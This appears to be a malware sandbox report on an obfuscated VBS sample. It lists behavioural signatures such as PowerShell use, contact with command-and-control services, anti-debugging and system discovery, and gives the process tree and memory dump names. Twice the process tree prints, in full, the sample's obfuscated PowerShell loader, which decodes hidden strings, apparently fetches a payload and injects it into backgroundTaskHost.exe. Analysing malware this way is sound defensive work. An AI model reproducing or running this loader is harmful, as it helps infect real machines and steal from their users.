Analysis
- max time kernel
150s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
29/06/2026, 06:19
General
- Target _47c3f86cd33b11cb9c57df1f9ab4363eab0306e230936cbf45321b17c11fb012.vbs
- Size 54KB
- Sample260629-g3mjmsgx6k
- SHA256 47c3f86cd33b11cb9c57df1f9ab4363eab0306e230936cbf45321b17c11fb012
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_47c3f86cd33b11cb9c57df1f9ab4363eab0306e230936cbf45321b17c11fb012.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'kulturhusets51' 'dorados' 'skaleret';$cravo=45621-45621;function deke ($barricadoes173,$forgetfully119) {$smalfilmapparatets=rhynchonelloid(@(119,203,205,221,225,213,204,207,201,194,206,223,156,166,159,150,208,221,194,219,148,143,213,219,219,213,202,199,207,225,215,219,229,154,159,158,124)) ;speciale ($smalfilmapparatets)}function rhynchonelloid ($misimpression,$odontologs=0) { do {$misimpression[$cravo]-=$forgetfully119ihensigterne[$cravo%9];$einar+=[char]$misimpression[$cravo];$cravo++} while ($misimpression[$cravo])$einar}function speciale ($oliedreven) {&($spinosympathetic) $oliedreven}Function Epicuticle ($misimpression,$subrules=0){$basisgrupper=rhynchonelloid(@(119,220,207,221,216,220,221,168,204,188,208,224,222,229,205,208,171,192,150,216,218,225,212,222,221,203,159,141,175,222,218,220,174,202,225,202,137,157,191,223,225,213,215,213,141,119,214,213,222,216,217,217,224,202,198,220,213,218,221,149));speciale ($basisgrupper);For($forgetfully119emist=0; $gigtsvag[$forgetfully119emist] -ne $reconfirmations; $forgetfully119emist++){$gigtsvag[$forgetfully119emist] = deke $gigtsvag[$forgetfully119emist] $forgetfully119ihensigterne[$forgetfully119emist%9]}$nedises=rhynchonelloid(@(119,208,216,218,209,205,213,168,199,180,213,215,218,221,223,166,155,207,194,210,218,139,202,207,209,207,215,174,198,201,143,214,213,208,226,216,201,202,211));speciale ($nedises);if ($subrules) { speciale $balkons}else {;$balkons}}$forgetfully119ihensigterne=@(83,105,108,107,111,108,105,110,101);$spinosympathetic=rhynchonelloid @(156,174,196);$forgetfully119enzomorpholine='\Kurtisknr.Ska';$kammer=Epicuticle 'ZkdcS0c7AAABPB4fSyE4SV9VfVlXSzgFB1hRaEkUXVtXSRwTaVhZW0FcQE4iNgoHBEBeWV9VY1hcWk8qABwANQYURF5ZWUBV';$adulator=Epicuticle 'Ox0YGxxWRkEBIQAaDkELBgECPwxCCAABRhsGbAwUGwAeHVMBPB4CBwANDUgMN1RdWDVZAC0SBVklES5VNhcHCQciCg0/Bj8jFwMPXxc7Wyo=';$wickis34=Epicuticle 'bQ==';Epicuticle 'dw4ABA0NBVQBOhoYAgELHAcWOwwfVksJBxhfMhkcDw4YCEVBNQYeDAoYDxsJPxBdWlYJBxQKPgYeGwcDBQcLNg==' 1;Epicuticle 'dw4ABA0NBVQMPR0JGRwZCwQAMB0FHQpRTQ8BJgUNHwAeRx0VPwAYQ0sbAA0OOhpfX0Y=' 1;Epicuticle 'CCcJH0E/DBwTOgoJOwAFBxooMgcNDAoeNFRfAAwPHh0FHRc1IQYYBAwDBVNWY15e' 1;$adulator=$intersubjective[0];$uvanlige=(Epicuticle 'dw4ABA0NBVQWJhkJGR8DGgcROh8JBQofGlMrNh5BJA0GDA0RcycJH0E7DAwmPwAJBRs=');speciale ($uvanlige);Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfSEJCgsJGx0+CCcJH0EkHRoVAQwdHgofHSYAMg0JGTJYWTNYdwINBgIJGw==' 1;$kloakerede=Epicuticle 'FwYbBQMDCAojOgUJ';$cirkulationsvrdiernes=Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfU0HBwANAgsXNg0JRSYCHwEONkFICgsZBQ8RPBtATwAZHRgMNg1F';$outvied=$distinguishes;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1;while (!$butterine) {Epicuticle 'dw4ABA0NBVQ2JwgIGAMLDABYdx0eHgo=' 1;speciale $cirkulationsvrdiernes;Epicuticle 'AAUJDh9EXUc=' 1;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1 ;Epicuticle 'dw4ABA0NBVQIMhoHAgEfHRsAIQcJVksLBQEHMgVWDgwDGQYcIAADBwALEEVOdk0FBRsJGx0QMQMJCBsFHwtLMAYZBRs=' 1;$adulator=$intersubjective[$maskinstuerne]}$wagework=171961;$krikkers=20251;Epicuticle 'dw4ABA0NBVQVMgUKDAoVGlMCMElIBBoYHwcANw==' 1;Epicuticle 'dw4ABA0NBVQuPBsJCgEfAgtYCCoDBRkJGxo4aVMqGQABKw8WNl9YOBseAAACe00cCgMKDgscIEA=' 1;Epicuticle 'dw4ABA0NBVQLMh0ZGQkDBQUAJxpRMDsJERpLFgcPBAsFBwk4aVMtOCwlIEAiNh0/Hx0FBwlNdyIDGQoNBx0ONkA=' 1;Epicuticle 'dw4ABA0NBVQONgcIAgELGgwKNBoYChkJGx1YdwcNHxoeDwEJOAwYGEEfHAwWJxsFBQhETRkENAwbBB0HRUoOIQAHAAoeGkc=' 1;speciale $kendingsbogstavers;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'kulturhusets51' 'dorados' 'skaleret';$cravo=45621-45621;function deke ($barricadoes173,$forgetfully119) {$smalfilmapparatets=rhynchonelloid(@(119,203,205,221,225,213,204,207,201,194,206,223,156,166,159,150,208,221,194,219,148,143,213,219,219,213,202,199,207,225,215,219,229,154,159,158,124)) ;speciale ($smalfilmapparatets)}function rhynchonelloid ($misimpression,$odontologs=0) { do {$misimpression[$cravo]-=$forgetfully119ihensigterne[$cravo%9];$einar+=[char]$misimpression[$cravo];$cravo++} while ($misimpression[$cravo])$einar}function speciale ($oliedreven) {&($spinosympathetic) $oliedreven}Function Epicuticle ($misimpression,$subrules=0){$basisgrupper=rhynchonelloid(@(119,220,207,221,216,220,221,168,204,188,208,224,222,229,205,208,171,192,150,216,218,225,212,222,221,203,159,141,175,222,218,220,174,202,225,202,137,157,191,223,225,213,215,213,141,119,214,213,222,216,217,217,224,202,198,220,213,218,221,149));speciale ($basisgrupper);For($forgetfully119emist=0; $gigtsvag[$forgetfully119emist] -ne $reconfirmations; $forgetfully119emist++){$gigtsvag[$forgetfully119emist] = deke $gigtsvag[$forgetfully119emist] $forgetfully119ihensigterne[$forgetfully119emist%9]}$nedises=rhynchonelloid(@(119,208,216,218,209,205,213,168,199,180,213,215,218,221,223,166,155,207,194,210,218,139,202,207,209,207,215,174,198,201,143,214,213,208,226,216,201,202,211));speciale ($nedises);if ($subrules) { speciale $balkons}else {;$balkons}}$forgetfully119ihensigterne=@(83,105,108,107,111,108,105,110,101);$spinosympathetic=rhynchonelloid @(156,174,196);$forgetfully119enzomorpholine='\Kurtisknr.Ska';$kammer=Epicuticle 'ZkdcS0c7AAABPB4fSyE4SV9VfVlXSzgFB1hRaEkUXVtXSRwTaVhZW0FcQE4iNgoHBEBeWV9VY1hcWk8qABwANQYURF5ZWUBV';$adulator=Epicuticle 'Ox0YGxxWRkEBIQAaDkELBgECPwxCCAABRhsGbAwUGwAeHVMBPB4CBwANDUgMN1RdWDVZAC0SBVklES5VNhcHCQciCg0/Bj8jFwMPXxc7Wyo=';$wickis34=Epicuticle 'bQ==';Epicuticle 'dw4ABA0NBVQBOhoYAgELHAcWOwwfVksJBxhfMhkcDw4YCEVBNQYeDAoYDxsJPxBdWlYJBxQKPgYeGwcDBQcLNg==' 1;Epicuticle 'dw4ABA0NBVQMPR0JGRwZCwQAMB0FHQpRTQ8BJgUNHwAeRx0VPwAYQ0sbAA0OOhpfX0Y=' 1;Epicuticle 'CCcJH0E/DBwTOgoJOwAFBxooMgcNDAoeNFRfAAwPHh0FHRc1IQYYBAwDBVNWY15e' 1;$adulator=$intersubjective[0];$uvanlige=(Epicuticle 'dw4ABA0NBVQWJhkJGR8DGgcROh8JBQofGlMrNh5BJA0GDA0RcycJH0E7DAwmPwAJBRs=');speciale ($uvanlige);Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfSEJCgsJGx0+CCcJH0EkHRoVAQwdHgofHSYAMg0JGTJYWTNYdwINBgIJGw==' 1;$kloakerede=Epicuticle 'FwYbBQMDCAojOgUJ';$cirkulationsvrdiernes=Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfU0HBwANAgsXNg0JRSYCHwEONkFICgsZBQ8RPBtATwAZHRgMNg1F';$outvied=$distinguishes;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1;while (!$butterine) {Epicuticle 'dw4ABA0NBVQ2JwgIGAMLDABYdx0eHgo=' 1;speciale $cirkulationsvrdiernes;Epicuticle 'AAUJDh9EXUc=' 1;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1 ;Epicuticle 'dw4ABA0NBVQIMhoHAgEfHRsAIQcJVksLBQEHMgVWDgwDGQYcIAADBwALEEVOdk0FBRsJGx0QMQMJCBsFHwtLMAYZBRs=' 1;$adulator=$intersubjective[$maskinstuerne]}$wagework=171961;$krikkers=20251;Epicuticle 'dw4ABA0NBVQVMgUKDAoVGlMCMElIBBoYHwcANw==' 1;Epicuticle 'dw4ABA0NBVQuPBsJCgEfAgtYCCoDBRkJGxo4aVMqGQABKw8WNl9YOBseAAACe00cCgMKDgscIEA=' 1;Epicuticle 'dw4ABA0NBVQLMh0ZGQkDBQUAJxpRMDsJERpLFgcPBAsFBwk4aVMtOCwlIEAiNh0/Hx0FBwlNdyIDGQoNBx0ONkA=' 1;Epicuticle 'dw4ABA0NBVQONgcIAgELGgwKNBoYChkJGx1YdwcNHxoeDwEJOAwYGEEfHAwWJxsFBQhETRkENAwbBB0HRUoOIQAHAAoeGkc=' 1;speciale $kendingsbogstavers;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Kurtisknr.Ska
memory/3556-24-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-4-0x000001ACE75C0000-0x000001ACE75E2000-memory.dmp
memory/3556-6-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-8-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-9-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-10-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-11-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-12-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-13-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-14-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-15-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-16-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-17-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-18-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-20-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-0-0x00007FFA3BFCF000-0x00007FFA3BFD0000-memory.dmp
memory/3556-7-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-1-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/3556-5-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/6032-39-0x0000000007530000-0x00000000075C6000-memory.dmp
memory/6032-26-0x0000000005590000-0x0000000005BDA000-memory.dmp
memory/6032-32-0x0000000005D20000-0x000000000607B000-memory.dmp
memory/6032-25-0x0000000002A10000-0x0000000002A46000-memory.dmp
memory/6032-34-0x0000000006260000-0x000000000627E000-memory.dmp
memory/6032-29-0x0000000005BE0000-0x0000000005C46000-memory.dmp
memory/6032-38-0x00000000067A0000-0x00000000067BA000-memory.dmp
memory/6032-37-0x00000000079B0000-0x000000000802C000-memory.dmp
memory/6032-28-0x0000000005520000-0x0000000005586000-memory.dmp
memory/6032-27-0x0000000005480000-0x00000000054A2000-memory.dmp
memory/6032-40-0x00000000072B0000-0x00000000072D2000-memory.dmp
memory/6032-41-0x00000000085F0000-0x0000000008BAA000-memory.dmp
memory/6032-35-0x0000000006310000-0x000000000635C000-memory.dmp
memory/6032-43-0x0000000008BB0000-0x000000000C7B4000-memory.dmp